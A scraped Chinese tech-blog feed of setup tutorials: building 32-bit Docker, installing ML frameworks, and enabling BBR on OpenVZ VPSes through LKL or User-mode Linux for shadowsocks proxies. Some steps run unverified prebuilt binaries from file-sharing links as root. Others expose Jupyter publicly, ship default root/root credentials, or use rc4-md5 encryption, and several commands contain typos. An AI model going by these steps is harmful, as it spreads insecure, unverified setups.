sh</p><p>并且添加加速源。https://www.daocloud.io/mirror#accelerator-doc,或使用阿里服务https://cr.console.aliyun.com/#/accelerator。均需要登陆。<br /></p><p>sudo vi /etc/docker/daemon.json<br /><br />{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;registry-mirrors&quot;: [<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;链接&quot;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ],<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;insecure-registries&quot;:[]<br />}<br /></p><p><br />3.下载docker源码,这里不推荐使用git下载最新版,而是去release页面下载稳定版<a href="https://github.com/moby/moby/releases" target="_blank">https://github.com/moby/moby/releases</a></p><p>wget <a href="https://github.com/moby/moby/archive/v17.05.0-ce.tar.gz" target="_blank">https://github.com/moby/moby/archive/v17.05.0-ce.tar.gz</a><a href="https://github.com/moby/moby/archive/v17.05.0-ce.tar.gz" target="_blank"> <br /></a></p><p>tar xzvf *.tar.gz</p><p><br /></p><p>4.进入到源码目录,然后修改Dockerfile</p><p>FROM <a href="http://debian:jessie" target="_blank">debian:jessie</a><br />改为<br />FROM 32bit/debian:jessie</p><p><br />中间有很多curl命令,有些访问困难,应当在curl命令中添加-x <a href="http://ip:port的http代理。" target="_blank">ip:port的http代理。</a></p><p>同样,git下载困难的时候,应当添加代理</p><p>RUN git config --global http.proxy <a href="http://ip:port" target="_blank">http://ip:port</a></p><p><br /></p><p>修改下载的go版本</p><p>RUN curl -fsSL &quot;https://golang.org/dl/go${GO_VERSION}.linux-amd64.tar.gz&quot; \</p><p>改为</p><p>RUN curl -fsSL &quot;https://golang.org/dl/go${GO_VERSION}.linux-386.tar.gz&quot; \<br /></p><p><br /></p><p>编译过程中发现有一部分编译不过,酌情注释掉<br /></p><p># Install CRIU for checkpoint/restore support<br />ENV CRIU_VERSION 2.12.1<br /># Install dependancy packages specific to criu<br />RUN apt-get install libnet-dev -y &amp;&amp; \<br />&nbsp;&nbsp; &nbsp;mkdir -p /usr/src/criu \<br />&nbsp;&nbsp; &nbsp;&amp;&amp; curl -sSL https://github.com/xemul/criu/archive/v${CRIU_VERSION}.tar.gz | tar -v -C /usr/src/criu/ -xz --strip-components=1 \<br />&nbsp;&nbsp; &nbsp;&amp;&amp; cd /usr/src/criu \<br />&nbsp;&nbsp; &nbsp;&amp;&amp; make \<br />&amp;&amp; make install-criu<span class="pl-c"><span class="pl-c"><br /></span></span></p><p><span class="pl-c"><span class="pl-c"><br /></span></span></p>酌情注释掉下载困难的一部分<p></p><p></p><p># Get useful and necessary Hub images so we can &quot;docker load&quot; locally instead of pulling<br />COPY contrib/download-frozen-image-v2.sh /go/src/github.com/docker/docker/contrib/<br />RUN ./contrib/download-frozen-image-v2.sh /docker-frozen-images \<br />&nbsp;&nbsp; &nbsp;buildpack-deps:jessie@sha256:85b379ec16065e4fe4127eb1c5fb1bcc03c559bd36dbb2e22ff496de55925fa6 \<br />&nbsp;&nbsp; &nbsp;busybox:latest@sha256:32f093055929dbc23dec4d03e09dfe971f5973a9ca5cf059cbfb644c206aa83f \<br />&nbsp;&nbsp; &nbsp;debian:jessie@sha256:72f784399fd2719b4cb4e16ef8e369a39dc67f53d978cd3e2e7bf4e502c7b793 \<br /><a href="http://hello-world:latest@sha256:c5515758d4c5e1e838e9cd307f6c6a0d620b5e07e6f927b07d05f6d12a1ac8d7" target="_blank">hello-world:latest@sha256:c5515758d4c5e1e838e9cd307f6c6a0d620b5e07e6f927b07d05f6d12a1ac8d7</a></p><p><br /></p><p>5.创建docker-dev镜像,若出错考虑修改上述文件添加代理,或注释掉相应部分。成功后可以docker images看到刚编译好的镜像</p><p>make build</p><p><br /></p><p><br />6.编译最终docker for x86</p><p>make binary</p><p><br /></p><p>编译后的文件保存在bundles/latest/binary,保存使用。</p><p><br /></p><p><br />————————————————————————————————————————————————————————————————————————</p><p><br /></p><p><br />所以,如果以上都不想看,直接下载编译好的文件。</p><p>下载:</p><p>链接: https://pan.baidu.com/s/1eSw2lf8 密码: anr5</p><p><br /></p><p>将binary-daemon添加到环境中,然后sudo dockerd开机服务,再到binary-client中获取docker,其他和正常安装无异。</p><p><br /></p><p><br />可用的一些镜像:</p><p>https://hub.docker.com/r/32bit/debian/<br /></p><p><a href="https://hub.docker.com/r/32bit/ubuntu/" target="_blank">https://hub.docker.com/r/32bit/ubuntu/</a></p><p>https://hub.docker.com/r/i386/alpine/tags/<br /></p><p>bearqq/debian-x86-ssh<br /></p><br /><p></p>https://www.qrv5.net/p22Sat, 01 Jul 2017 12:29:12 GMTanaconda+pytorch+tensorflow+kerashttps://www.qrv5.net/p21<h1>环境</h1><p>conda create --name py37 python=3.7<br />activate py37</p><p><br /></p><p><br /></p><p>新版本</p><p>pip install jupyterlab</p><p>jupyter lab<br /></p><p><br /></p><p>经典版本<br /></p><p>#pip install ipykernel</p><p>pip install jupyter<br /></p><p>python -m ipykernel install --user --name py37 --display-name &quot;py37&quot;</p><p><br /></p><h1><span style="font-weight: normal;">外部访问</span></h1><p>生成配置文件</p><p>jupyter notebook --generate-config</p><p>(记录下地址)</p><p><br /></p><p>生成密码<br />打开ipython,创建一个密文的密码</p><blockquote><p>In [1]: from notebook.auth import passwd<br />In [2]: passwd()</p><p>Enter password:<br />Verify password:<br />Out[2]: &#039;sha1:22bd77296e00:01bc151a1f7a6de107d31772e9c6c2ccaa773529&#039;<br /></p></blockquote><p><br /></p><p>修改默认配置文件<br />vi ~/.jupyter/jupyter_notebook_config.py </p><p><br /></p><blockquote>c.NotebookApp.ip=&#039;*&#039;<br />c.NotebookApp.password = u&#039;sha1:22...刚才复制的那个密文&#039;<br />c.NotebookApp.open_browser = False<br />c.NotebookApp.port =8888</blockquote><p><br /></p><p>jupyter notebook</p><p><br /></p><p><br /></p><h1>pytorch</h1><p>conda install pytorch torchvision cudatoolkit=10.1 -c pytorch</p><p>更新的版本1.13.1:</p><p><span class="pl-s">pip install torch==1.13.1+cu117 torchvision==0.14.1+cu117 --extra-index-url https://download.pytorch.org/whl/cu117</span><br /></p><p><a href="https://pytorch.org/get-started/locally/" target="_blank">https://pytorch.org/get-started/locally/</a><a href="https://pytorch.org/get-started/locally/" target="_blank"></a></p><p>版本2.0:</p><p>pip install torch==2.0.0+cu118 torchvision==0.15.1+cu118 -f https://mirror.sjtu.edu.cn/pytorch-wheels/torch_stable.html -i https://mirrors.bfsu.edu.cn/pypi/web/simple -U<br />pip install -U -I --no-deps xformers==0.0.17rc482 -i <a href="https://mirrors.aliyun.com/pypi/simple/" target="_blank">https://mirrors.aliyun.com/pypi/simple/</a></p><p>版本2.0.1:</p><p>pip install torch==2.0.1+cu118 torchvision==0.15.2+cu118 torchaudio --extra-index-url https://download.pytorch.org/whl/cu118<br /><br /></p><p><br /></p><p><br /></p><h1>tensorflow</h1><p>https://developer.nvidia.com/cuda-downloads<br /><a href="https://developer.nvidia.com/compute/cuda/8.0/Prod2/local_installers/cuda_8.0.61_win10-exe" target="_blank">https://developer.nvidia.com/compute/cuda/8.0/Prod2/local_installers/cuda_8.0.61_win10-exe</a><a href="https://developer.nvidia.com/compute/cuda/8.0/Prod2/local_installers/cuda_8.0.61_win10-exe" target="_blank"></a></p><p><br /></p><p>https://developer.nvidia.com/cudnn<br /><a href="http://developer2.download.nvidia.com/compute/machine-learning/cudnn/secure/v5.1/prod_20161129/8.0/cudnn-8.0-windows10-x64-v5.1.zip" target="_blank">http://developer2.download.nvidia.com/compute/machine-learning/cudnn/secure/v5.1/prod_20161129/8.0/cudnn-8.0-windows10-x64-v5.1.zip</a></p><p><br />pip install tensorflow-gpu</p><p><br /></p><h1>keras</h1><p>conda install theano<br />conda install mingw libpython<br />pip install tensorflow<br />pip install keras<br />conda install h5py</p><p><br /></p><p><br /></p><p><br /></p><h1>mxnet</h1><p>By popular demand, DMLC has added MXNet support for Keras. Please follow these steps for having it:<br /></p><p><br />&nbsp;&nbsp;&nbsp; After having CUDA driver, install MXNet like<br />&nbsp;&nbsp;&nbsp; pip install mxnet-cu80<br /><br />&nbsp;&nbsp;&nbsp; Install Keras with MXNet support:<br />&nbsp;&nbsp;&nbsp; git clone --recursive https://github.com/dmlc/keras<br />&nbsp;&nbsp;&nbsp; cd keras<br />&nbsp;&nbsp;&nbsp; python setup.py install<br /><br />&nbsp;&nbsp;&nbsp; Assign MXNet as Keras backend:<br />&nbsp;&nbsp;&nbsp; KERAS_BACKEND=mxnet python -c &quot;from keras import backend&quot;<br /><br />&nbsp;&nbsp;&nbsp; “Using MXNet backend.” means Keras+MXNet is successfully installed. Enjoy.<br /><br />&nbsp;&nbsp;&nbsp; Q&amp;A:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I am using Windows, can I have it? Yes, just replace step 1 with pip install mxnet-cu80-win<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I don’t have a GPU, can I have a try? Yes, just replace step 1 with pip install mxnet or pip install mxnet–mkl if you have Intel CPU(s).<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; How is compared to TensorFlow backend? em, do you want to benchmark it? Please feel free to submit benchmark results and bugs to github issue.<br /><br /><br /><br /><br /></p>https://www.qrv5.net/p21Thu, 20 Jul 2023 01:46:00 GMTOpenVZ 开启 BBR 之最简方法 - Linux Kernel Libraryhttps://www.qrv5.net/p20<p>转自 <a href="https://www.v2ex.com/t/353778" target="_blank">https://www.v2ex.com/t/353778</a></p><p>*** 序 *** <br /> <br />首先感谢 91yun 的 linhua : <br /><a href="https://www.91yunbbs.com/discussion/comment/1382/#Comment_1382" target="_blank" rel="nofollow">https://www.91yunbbs.com/discussion/comment/1382/#Comment_1382</a> <br /> <br />2 个相关链接: <br /><a href="https://www.netdevconf.org/2.1/session.html?tazaki" target="_blank" rel="nofollow">https://www.netdevconf.org/2.1/session.html?tazaki</a> <br /><a href="https://github.com/lkl/linux" target="_blank" rel="nofollow">https://github.com/lkl/linux</a> <br /> <br />*** 教程从这里开始 *** <br /> <br /># 先去 VPS 的 Panel 里打开 TUN/TAP 功能 <br /> <br /># 创建一个 tap0 <br />ip tuntap add tap0 mode tap <br />ip addr add 10.0.0.1/24 dev tap0 <br />ip link set tap0 up <br /> <br /># 打通 tap0 和 host 之间的网络 <br />iptables -P FORWARD ACCEPT <br />iptables -t nat -A POSTROUTING -o venet0 -j MASQUERADE <br /> <br /># 假设我们准备在 443 端口开启 BBR <br />iptables -t nat -A PREROUTING -i venet0 -p tcp --dport 443 -j DNAT --to-destination 10.0.0.2 <br /> <br /># 安装 haproxy ,并禁止开机自启 <br />apt-get install haproxy <br />update-rc.d haproxy disable <br /> <br /># 新建一个 /root/haproxy/haproxy.cfg <br /># 假设你原来的 server 监听的是 12580 端口, BBR 的端口开在 443 。 </p><p>global<br /> user haproxy<br /> group haproy </p><p><br />defaults <br /> mode tcp <br /> timeout connect 5s <br /> timeout client 60s <br /> timeout server 60s <br /> <br />listen shadowsocks <br /> bind 10.0.0.2:443 <br /> server server1 10.0.0.1:12580 <br /> <br /># 下载 Linux Kernel Library ,解压到 /root/haproxy <br /># <a href="https://drive.google.com/file/d/0ByqeeKN198fcdDVLMmVKakl5VE0/view?usp=sharing" target="_blank" rel="nofollow">https://drive.google.com/file/d/0ByqeeKN198fcdDVLMmVKakl5VE0/view?usp=sharing</a> <br />tar -xzvf liblkl-hijack.so.tgz <br /> <br /># 是时候开启 haproxy 为 BBR 过桥了,以下命令必须一行打完<br />LD_PRELOAD=/root/haproxy/liblkl-hijack.so LKL_HIJACK_NET_QDISC=&quot;root|fq&quot; LKL_HIJACK_SYSCTL=&quot;net.ipv4.tcp_congestion_control=bbr;net.ipv4.tcp_wmem=4096 65536 67108864&quot; LKL_HIJACK_NET_IFTYPE=tap LKL_HIJACK_NET_IFPARAMS=tap0 LKL_HIJACK_NET_IP=10.0.0.2 LKL_HIJACK_NET_NETMASK_LEN=24 LKL_HIJACK_NET_GATEWAY=10.0.0.1 LKL_HIJACK_OFFLOAD=&quot;0x8883&quot; haproxy -f /root/haproxy/haproxy.cfg <br /> <br />*** 大功告成! *** <br /> <br />现在可以用客户端连上试试看了 <br />12580 是原来 server 的端口 <br />443 是开启 BBR 以后的端口 <br /> <br />*** 后记 *** <br /> <br /># 如果需要把原来 12580 端口的 UDP 协议也转发到 443 端口,可以添加以下命令 <br />iptables -t nat -A PREROUTING -i venet0 -p udp --dport 443 -j REDIRECT --to-port 12580</p><p><br /></p><p><br /></p><p><br /></p><p>更新脚本</p><p># 既然你们都喜欢快餐,那我提供一个脚本吧。 <br /># 手动调试成功后,就可用下面脚本设置开机自启。 <br /> <br /># 安装 supervisor ,添加配置文件,用于开机自启 <br /># /etc/supervisor/conf.dhaproxy-lkl.conf <br /> <br />[program:haproxy-lkl] <br />command=/root/haproxy/haproxy-lkl-start <br />autostart=true <br />autorestart=true <br />redirect_stderr=true <br />stdout_logfile=/root/haproxy/haproxy-lkl_stdout.log <br />stdout_logfile_maxbytes=1MB <br />stderr_logfile=/root/haproxy/haproxy-lkl_stderr.log <br />stderr_logfile_maxbytes=1MB <br /> <br /># haproxy 配 Linux Kernel Library 的启动脚本。 <br /># 原来的服务监听 12580 端口。开启 BRR 后,新的监听端口在 443 。 <br /># /root/haproxy/haproxy-lkl-start <br /> <br />#!/bin/sh <br /> <br />ip tuntap add tap0 mode tap <br />ip addr add 10.0.0.1/24 dev tap0 <br />ip link set tap0 up <br /> <br />iptables -P FORWARD ACCEPT <br /> <br />iptables -t nat -D PREROUTING -i venet0 -p tcp --dport 443 -j DNAT --to-destination 10.0.0.2 <br />iptables -t nat -A PREROUTING -i venet0 -p tcp --dport 443 -j DNAT --to-destination 10.0.0.2 <br /> <br />iptables -t nat -D PREROUTING -i venet0 -p udp --dport 443 -j REDIRECT --to-port 12580 <br />iptables -t nat -A PREROUTING -i venet0 -p udp --dport 443 -j REDIRECT --to-port 12580 <br /> <br />export LD_PRELOAD=/root/haproxy/liblkl-hijack.so <br />export LKL_HIJACK_NET_QDISC=&quot;root|fq&quot; <br />export LKL_HIJACK_SYSCTL=&quot;net.ipv4.tcp_congestion_control=bbr;net.ipv4.tcp_wmem=4096 65536 67108864&quot; <br />export LKL_HIJACK_NET_IFTYPE=tap <br />export LKL_HIJACK_NET_IFPARAMS=tap0 <br />export LKL_HIJACK_NET_IP=10.0.0.2 <br />export LKL_HIJACK_NET_NETMASK_LEN=24 <br />export LKL_HIJACK_NET_GATEWAY=10.0.0.1 <br />export LKL_HIJACK_OFFLOAD=&quot;0x8883&quot; <br />export LKL_HIJACK_DEBUG=1 <br /> <br />haproxy -f /root/haproxy/haproxy.cfg <br /> <br /># Enjoy~~~<br /></p><p><br /></p><p><br /></p><p><br /></p><p>https://www.91yun.org/archives/6281<br /></p><h1>LKL 使用前置需求 </h1><p> <br /></p><ol><li>LKL 要求 ldd 的版本至少在 <code>2.14</code> ,目前我测试下来,如果不想折腾建议直接安装 CentOS7 , Debian8 和 Ubuntu16</li><li> 安装包只使用 <code>64bit</code> 的系统。 </li><li> 默认的端口转发只转发了 <code>9000-9999</code> 的端口,如果你不想费心修改,请把 ssr 等应用的端口设在这个范围 </li><li> 只适用 <code>openvz</code> ,请他虚拟请参考 <a href="https://www.91yunbbs.com/discussion/87" target="_blank" rel="nofollow" title=" 原帖 "> 原帖 </a> 自己折腾。。 </li></ol><p><br /></p><p>一键<br /></p><p><span class="crayon-e"></span><span class="crayon-v">https</span><span class="crayon-o">:</span><span class="crayon-o">/</span><span class="crayon-o">/</span><span class="crayon-v">github</span><span class="crayon-e">.com</span><span class="crayon-o">/</span><span class="crayon-cn">91yun</span><span class="crayon-o">/</span><span class="crayon-v">uml</span><span class="crayon-o">/</span><span class="crayon-v">raw</span><span class="crayon-o">/</span><span class="crayon-v">master</span><span class="crayon-o">/</span><span class="crayon-v">lkl</span><span class="crayon-o">/</span><span class="crayon-v">install</span><span class="crayon-e">.sh</span><br /></p><p>另外的一键</p><p><a href="https://github.com/nanqinlang-tcp/tcp_nanqinlang" target="_blank">https://github.com/nanqinlang-tcp/tcp_nanqinlang</a></p><p><br /></p><p>rinted方案</p><p><a href="https://github.com/mixool/rinetd" target="_blank">https://github.com/mixool/rinetd</a></p><p><br /></p><div style="font-size: 14px !important; line-height: 30px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;" class="crayon-pre"><div class="crayon-line"><span class="crayon-i">ping</span><span class="crayon-h"> </span><span class="crayon-cn">10.0.0.2</span></div></div><p>如果 10.0.0.2 能 ping 通说明成功, ping 不通说明失败 </p><p> <br /></p><h1> 如果修改转发端口 </h1><p> <br /></p><ol><li> 修改 <code>/root/lkl/run.sh</code> ,查找 <code>9000-9999</code> ,改成你想要的端口段 </li><li> 修改 <code>/root/lkl/haproxy.cfg</code> 查找 <code>9000-9999</code> ,改成你想要的端口段 </li><li> 重启 vps</li></ol><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p>https://www.qrv5.net/p20Fri, 01 Dec 2017 01:39:22 GMTOpenVZ uml 开启 BBR 之最小镜像,仅需16M内存!https://www.qrv5.net/p19<p>OpenVZ VPS安装User-mode Linux实现Google BBR加速</p><p><span style="color: #999999;"><em>本文转自:&nbsp;<a style="color: #999999;" href="https://blog.amayume.net/openvz-vps-an-zhuang-user-mode-linux-yi-shi-xian-bbr-yong-sai-kong-zhi/" target="_blank">https://blog.amayume.net/openvz-vps-an-zhuang-user-mode-linux-yi-shi-xian-bbr-yong-sai-kong-zhi/</a></em></span><br /></p><p><a href="http://51.ruyo.net/p/3198.html" target="_blank">http://51.ruyo.net/p/3198.html</a></p><p><br /></p><p><br /></p><p>本文介绍OpenVZ虚拟VPS安装Google BBR!</p><p>该教程博主并未尝试,请酌情使用。自行备份重要数据。</p><p>其他虚拟或者独服请参考另一篇文章:</p><p>&gt;&gt;&gt;&nbsp;<a href="http://51.ruyo.net/p/2783.html" target="_blank">Google BBR 优化算法,实现TCP加速</a></p><p> <br /></p><h2>前言</h2><p>为啥要装 BBR?据说适合国情。主要目的还是练习 User-mode Linux (UML)。</p><p> <br /></p><h2>安装 UML</h2><p>先装工具链:</p><pre>sudo apt-get install build-essential libncurses5-dev<br /></pre><p>因为需要 BBR, 先弄到超前版内核树 <code class=" language-markup">net-next</code>,还有对应 UML 的内核配置</p><pre>git clone git://git.kernel.org/pub/scm/linux/kernel/git/davem/net-next.git &nbsp;<br />cd net-next &nbsp;<br />make defconfig ARCH=um</pre><p>也可以 <code class=" language-markup">export ARCH=um</code>,方便一些。</p><p>配置内核使用 BBR:</p><pre>make menuconfig ARCH=um</pre><p>进入配置菜单,进入 <code class=" language-markup">Networking support → Networking options → TCP: advanced congestion control</code> 页面,移到 <code class=" language-markup">BBR TCP</code>,按两下空格直到变成 <code class=" language-markup">&lt;*&gt; BBR TCP</code>。下方 <code class=" language-markup">Default TCP congestion control</code> 回车选 <code class=" language-markup">BBR</code>。一路 Exit,保存。</p><p><code class=" language-markup">make ARCH=um vmlinux -j2</code> 编译。</p><p> <br /></p><h2>在 UML 中安装 Arch Linux</h2><p>基本与在 Ubuntu 下安装新 Arch 一样。</p><p> <br /></p><h3>先装一个只读的 rootfs</h3><p>因为 UML 对 hostfs 的限制,hostfs 一定是只读的,而 OpenVZ 也没有 loop 设备,无法直接挂载磁盘镜像,故我们要先装个只读的 rootfs 来启动 UML, 在 UML 中挂镜像。(Ref:PeterCxy 的 Blog)</p><pre># 先下载 Arch 最新的 Bootstrap 包:<br />cd ~ &nbsp;<br />wget http://mirror.rackspace.com/archlinux/iso/latest/archlinux-bootstrap-2016.12.01-x86_64.tar.gz &nbsp;<br />tar xzf archlinux-bootstrap-2016.12.01-x86_64.tar.gz &nbsp;<br />mv root.x86_64 root &nbsp;<br />sudo nano root/etc/resolv.conf &nbsp;<br /># 加上一行 nameserver 8.8.8.8,保存<br />sudo mount --rbind /proc root/proc &nbsp;<br />sudo mount --rbind /sys root/sys &nbsp;<br />sudo mount --rbind /dev root/dev &nbsp;<br />sudo mount -t tmpfs tmpfs root/tmp &nbsp;<br />sudo mount --rbind /root root/root &nbsp;<br />sudo nano root/etc/pacman.d/mirrorlist &nbsp;<br /># 搜索离你最近的国家镜像,去掉对应的注释<br /># 进入 chroot<br />sudo root/bin/arch-chroot root /bin/bash &nbsp;<br /># 此时已经进入 chroot 环境<br />pacman-key --init &nbsp;<br />pacman-key --populate archlinux &nbsp;<br /># 安装基础系统<br />pacman -Sy base &nbsp;<br /># 改控制台,也可以不改,通过 screen 连接 pts<br />systemctl enable getty@tty0 &nbsp;<br />systemctl disable getty@tty1 &nbsp;<br /># 退出 chroot<br />exit &nbsp;<br /># 解除 rbind<br />sudo umount root/{dev,proc,sys,tmp}</pre>此时在 <code class=" language-markup">root</code> 文件夹下就有了完整的 rootfs,可以启动 UML 了。<p> <br /></p><h3>设置网络</h3><p>首先在主机商的面板(SolusVM)打开 TUN/TAP 功能。一般能做 VPN(PPTP、L2TP等) 的 VPS 都有这个选项。</p><p>之后配置 TAP 设备:</p><pre>sudo ip tuntap add tap0 mode tap &nbsp;<br />sudo ip addr add 10.0.0.1/24 dev tap0 &nbsp;<br />sudo ip route add default via 10.0.0.1 dev venet0:0 &nbsp;<br />sudo ip link set tap0 up &nbsp;<br />sudo iptables -P FORWARD ACCEPT &nbsp;<br />sudo iptables -t nat -A POSTROUTING -o venet0:0 -j MASQUERADE</pre><br /><h3>安装 Arch 到镜像</h3><pre>cd ~/net-next &nbsp;<br />dd if=/dev/zero of=rootfs.img bs=1MB count=6000 # 创建一个 6GB 的镜像 &nbsp;<br />mount -o remount,size=2G /dev/shm # 改一下 tmpfs 大小,防止爆内存<br />&nbsp;<br /># 启动到 UML<br />sudo ./vmlinux root=/dev/root rootfstype=hostfs hostfs=./root ubd0=rootfs.img eth0=tuntap,tap0 mem=256m<br /></pre><p>mem 是内存大小,此处取 256M(可以根据你的内存情况修改)。<br /> 此时已经有 UML 的 shell,可以开始安装系统了。用户名 root,没有密码。</p><pre>ip link set eth0 up &nbsp;<br />ip addr add 10.0.0.2/24 dev eth0 &nbsp;<br />ip route add default via 10.0.0.1 dev eth0<br />&nbsp;<br /># 制作文件系统<br />mkfs.ext4 /dev/ubda &nbsp;<br />mount /dev/ubda /mnt &nbsp;<br />mkdir -p /mnt/var/lib/pacman &nbsp;<br />pacman -Sy base -r /mnt &nbsp;<br />pacman -Sy havaged -r /mnt # entropy 生成器<br />&nbsp;<br />mount --rbind /proc /mnt/proc &nbsp;<br />mount --rbind /sys /mnt/sys &nbsp;<br />mount --rbind /dev /mnt/dev &nbsp;<br />mount -t tmpfs tmpfs /mnt/tmp &nbsp;<br />mount --rbind /root /mnt/root<br />&nbsp;<br />chroot /mnt /bin/bash &nbsp;<br />nano /etc/pacman.d/mirrorlist # mirrorlist</pre>编辑网络配置:<p></p><pre>nano /etc/systemd/network/50-static.network</pre><p></p><p>加入</p><pre>[Match]<br />Name=eth0<br />&nbsp;<br />[Network]<br />Address=10.0.0.2/24 &nbsp;<br />Gateway=10.0.0.1</pre><br /><p>同上,enable 各项服务,配置 时区、locale 等:</p><p>sudo nano root/etc/resolv.conf <br /># 加上一行 nameserver 8.8.8.8,保存<br />&nbsp;<br />systemctl enable systemd-networkd &nbsp;<br />systemctl enable getty@tty0 &nbsp;<br />systemctl disable getty@tty1<br />&nbsp;<br />ln -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime &nbsp;<br />sed -i &#039;s/#en_US.UTF/en_US.UTF/&#039; /etc/locale.gen &nbsp;<br />locale-gen &nbsp;<br />echo &#039;LANG=en_US.UTF-8&#039; &gt; /etc/locale.conf &nbsp;<br />echo &#039;umlarch&#039; &gt; /etc/hostname # 配置主机名 &nbsp;<br />nano /etc/hosts # 加入 127.0.1.1 umlarch.localdomain umlarch &nbsp;<br />mkinitcpio -p linux # 应该不需要,以防万一 &nbsp;<br />genfstab -U /mnt &gt;&gt; /mnt/etc/fstab # fstab &nbsp;<br />shutdown -h 0 # 关闭 UML<br /><br /></p><br /><p>现在配置已经基本完成,改变一下命令行,从新建的镜像启动:</p><pre>sudo ./vmlinux root=/dev/ubda ubd0=rootfs.img eth0=tuntap,tap0 mem=256m &nbsp;<br />pacman-key --init &nbsp;<br />pacman-key --populate archlinux</pre><br /><p>搞定。</p><p> <br /></p><h2>配置端口转发</h2><p> <br /></p><p>先给自己留下 SSH 端口~</p><p>sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j RETURN</p><br /><p>然后其他的端口全转发走啦:</p><p>sudo iptables -t nat -A PREROUTING -i venet0 -j DNAT --to-destination 10.0.0.2</p><h2>安装 shadowsocks-go</h2><p>做了 AUR 源,见 https://github.com/ProfFan/shadowsocks-go 。</p><p>Clone 后 <code class=" language-markup">makepkg -si</code> 即可。</p><p><br /></p><p>--------------------------------------------------------------------------------------------------------------------------------------------------------------<br /></p><p><br /></p><p>以下全文转载自 <a href="https://plus.google.com/108855478531549571757/posts/DabLxwHAwGH" target="_blank">https://plus.google.com/108855478531549571757/posts/DabLxwHAwGH</a></p><p><br /></p><p>【原创】OpenVZ uml 开启 BBR 之最小镜像,仅需16M内存!<br /><br /># 转帖请注明出处,这是最起码的尊重。<br /># 世界本就如此艰难,何必还要让它更艰难呢。<br /><br /># 先去VPS的Panel里打开TUN/TAP功能<br /><br /># 下载定做好的kernel和rootfs并传到VPS上<br /><a href="https://drive.google.com/open?id=0ByqeeKN198fcNm04a1pBSzdXU3M" target="_blank" rel="nofollow" class="ot-anchor aaTEdf">https://drive.google.com/open?id=0ByqeeKN198fcNm04a1pBSzdXU3M</a><br /><br /># 解压并进入目录<br />tar -xzvf alpine_16m.tgz<br />cd alpine_16m<br /><br /># 安装uml的包<br />apt-get install uml-utilities<br /><br /># 为uml创建一个虚拟网口<br />ip tuntap add tap0 mode tap<br />ip addr add <a href="http://10.0.0.1/24" target="_blank" rel="nofollow" class="ot-anchor aaTEdf">10.0.0.1/24</a> dev tap0<br />ip link set tap0 up<br /><br /># 打通uml和host之间的网络<br />echo &#039;1&#039; &gt; /proc/sys/net/ipv4/ip_forward<br />iptables -P FORWARD ACCEP<br />iptables -t nat -A POSTROUTING -o venet0 -j MASQUERADE<br /><br /># 转发host的30022端口到uml的ssh方便以后管理<br /># 端口可以在uml里的/etc/init.d/dropbear文件里修改<br /># 默认用户名和密码都是root,登录后请立即修改!<br />iptables -t nat -A PREROUTING -i venet0 -p tcp --dport 30022 -j DNAT --to-destination 10.0.0.2<br /><br /># 转发host的38388端口到uml的ss-libev<br /># 端口可以在uml里的/etc/shadowsocks-libev/config.json文件里修改<br />iptables -t nat -A PREROUTING -i venet0 -p tcp --dport 38388 -j DNAT --to-destination 10.0.0.2<br />iptables -t nat -A PREROUTING -i venet0 -p udp --dport 38388 -j DNAT --to-destination 10.0.0.2<br /><br /># 可以打开uml了,分配了16M内存给它吧<br />nohup ./vmlinux ubda=alpine_16m rw eth0=tuntap,tap0 mem=16M &gt; /dev/null &amp;<br /><br /># 打开ss客户端,ip是你原来VPS的ip,默认端口:38388,密码:barfoo!,加密方式:rc4-md5。<br /><br />Enjoy!<br /><br />后记1:各位喜欢折腾的,下面链接是 Alpine Linux v3.5.2 开好BBR的 uml 纯净版底包。推荐32M内存启动后 ,折腾各种软件包用。e.g. &quot;apk add wget&quot;<br /><a href="https://drive.google.com/open?id=0ByqeeKN198fccHd4dE5YbmN6R00" target="_blank" rel="nofollow" class="ot-anchor aaTEdf">https://drive.google.com/open?id=0ByqeeKN198fccHd4dE5YbmN6R00</a></p><p><br /></p><p><img src="http://img.qrv5.net/?m=a8c7907e0deeae6ed5acf0a97a7e17d0" style="width: 642px;" /><br /></p><p><br /></p><p><br /></p><p>其他资料:</p><p><br /></p><div style="color: rgb(0, 0, 0); font-family: 微软雅黑; font-siz_d-color: rgb(255, 255, 255);">alpine</div><p><br /></p><div style="color: rgb(0, 0, 0); font-family: 微软雅黑; font-siz_d-color: rgb(255, 255, 255);"><div style="background-color: inherit;"><a style="cursor: pointer; background-color: inherit;" href="https://wiki.alpinelinux.org/wiki/Installation" target="_blank">https://wiki.alpinelinux.org/wiki/Installation</a></div></div><p><br /></p><div style="color: rgb(0, 0, 0); font-family: 微软雅黑; font-siz_d-color: rgb(255, 255, 255);"><div style="background-color: inherit;"><div style="background-color: inherit;">Warning:&nbsp;You&nbsp;will&nbsp;need&nbsp;Kernel&nbsp;version&nbsp;2.6.22&nbsp;or&nbsp;later&nbsp;to&nbsp;use&nbsp;apk-tools-static</div><div style="background-color: inherit;"><br style="background-color: inherit;" /></div><div style="background-color: inherit;">Download&nbsp;the&nbsp;latest&nbsp;apk&nbsp;static&nbsp;package&nbsp;(replace&nbsp;${version}&nbsp;with&nbsp;actual&nbsp;version):</div><div style="background-color: inherit;"><br style="background-color: inherit;" /></div><div style="background-color: inherit;">wget&nbsp;${mirror}/latest-stable/main/x86_64/apk-tools-static-${version}.apk</div><div style="background-color: inherit;"><br style="background-color: inherit;" /></div><div style="background-color: inherit;">.apk&nbsp;packages&nbsp;are&nbsp;just&nbsp;gzipped&nbsp;tarballs,&nbsp;unpack&nbsp;using:</div><div style="background-color: inherit;"><br style="background-color: inherit;" /></div><div style="background-color: inherit;">tar&nbsp;-xzf&nbsp;apk-tools-static-*.apk</div><div style="background-color: 